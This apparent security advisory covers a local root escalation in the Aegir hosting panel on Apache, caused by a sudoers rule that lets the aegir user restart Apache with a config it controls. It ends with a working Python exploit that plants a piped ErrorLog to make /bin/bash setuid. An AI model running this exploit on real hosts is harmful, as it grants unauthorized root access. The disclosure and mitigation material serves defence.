TL;DR
Find out how we exploited a behavior of Apache while using the limited rights of Aegir user to gain root access.
Vulnerability Summary
Aegir is a free and open source Unix based web hosting control panel
program for Application lifecycle management that provides a graphical interface designed to simplify deploying and managing Drupal, WordPress and CiviCRM Web sites.
When installing Aegir using official packages, the script aegir3-provision.postinst installs an unsafe sudoer rule, allowing to elevate privileges from the user aegir to root.
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
Aegir installations running under Apache
Unaffected Systems
Aegir installations running under Nginx
Vendor Response
The vendor released a statement, https://www.drupal.org/sa-contrib-2020-031, that the user aegir should not be used by any untrusted user as well as that customers should migrate to an Nginx setup (which is now the default) to prevent such attacks from being possible.
Vulnerability Analysis
During the installation of the package aegir3-provision, the script
aegir3-provision.postinst will create a sudo configuration file in
/etc/sudoers.d/aegir:
if [ -d /etc/sudoers.d ]; then ucf --debconf-ok /usr/share/drush/commands/provision/example.sudoers /etc/sudoers.d/aegir ucfr aegir-provision /etc/sudoers.d/aegir chmod 440 /etc/sudoers.d/aegir else echo "running an older version of sudo" echo "copy content of /usr/share/drush/commands/provision/example.sudoers into /etc/sudoers for aegir to run properly" fi
This file allows the user aegir to call /usr/sbin/apache2ctl (the
reference to /etc/init.d/nginx is not relevant here, as the package is not installed by default):
aegir ALL=NOPASSWD: /usr/sbin/apache2ctl aegir ALL=NOPASSWD: /etc/init.d/nginx
This way, the user aegir can reload apache2‘s configuration to support
new virtual hosts. Part of this configuration is loaded from aegir‘s home
directory, as aegir3-provision.postinst creates a symbolic link between
/var/aegir/config/apache.conf and /etc/apache2/conf-enabled/aegir.conf:
case $WEBSERVER in apache) if [ -d /etc/apache2/conf-enabled ]; then # Apache 2.4 ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf-enabled/aegir.conf else # Apache 2.2 ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf.d/aegir.conf fi a2enmod ssl rewrite apache2ctl graceful ;;
However, configuration files can declare dynamic libraries to be loaded by
the HTTP server and also external error loggers. As described in
the documentation:
Piped log processes are spawned by the parent Apache httpd process, and inherit the userid of that process. This means that piped log programs usually run as root.
https://httpd.apache.org/docs/2.4/en/logs.html#piped
By modifying /var/aegir/config/apache.conf to declare a custom ErrorLog,
and then reloading the apache2 configuration using sudo /usr/sbin/apache2ctl restart, it will be possible to execute arbitrary commands as root.
As /usr/sbin/apache2ctl can also accept various flags to declare additional
configuration directives and write to arbitrary files, other ways to elevate
privileges may exist.
Temporary workaround
Remove the file /etc/sudoers.d/aegir. As Aegir will not be able to reload
the configuration of apache2, new hosts created on the interface will not
be reachable before a manual reload.
Fix (Unofficial)
The following changes could be implemented to prevent the privilege
escalation:
- Deploying apache2 as an unprivileged service to be started as root, but
- with the capability CAP_NET_BIND_SERVICE.
- Using vhost_dbd_module to declare virtual hosts in a database, removing the need of loading apache2 configuration files from aegir‘s home directory.
- Using a custom service to convert a set of ini files declaring virtual hosts and writing them into /etc/apache2. The user aegir would only be allowed to edit these files, start the conversion process and reload apache2.
Demo

Exploit
#/usr/bin/python2.7 import sys import os COMMAND='/usr/bin/chmod +s /bin/bash' SUDO_RELOAD='/usr/bin/sudo /usr/sbin/apache2ctl restart' APACHE_CONFIG='/var/aegir/config/apache.conf' if not COMMAND and len(sys.argv) != 2: print 'Usage: python2.7 {} <command>'.format(sys.argv[0]) sys.exit(1) with open(APACHE_CONFIG, 'a+') as f: cmd = sys.argv[1] if not COMMAND else COMMAND f.write(''' <VirtualHost *:80> DocumentRoot /var/www/ ErrorLog "|{}" </VirtualHost> '''.format(cmd.replace('"', '\"'))) os.system(SUDO_RELOAD) os.execvp('bash', ['bash', '-p'])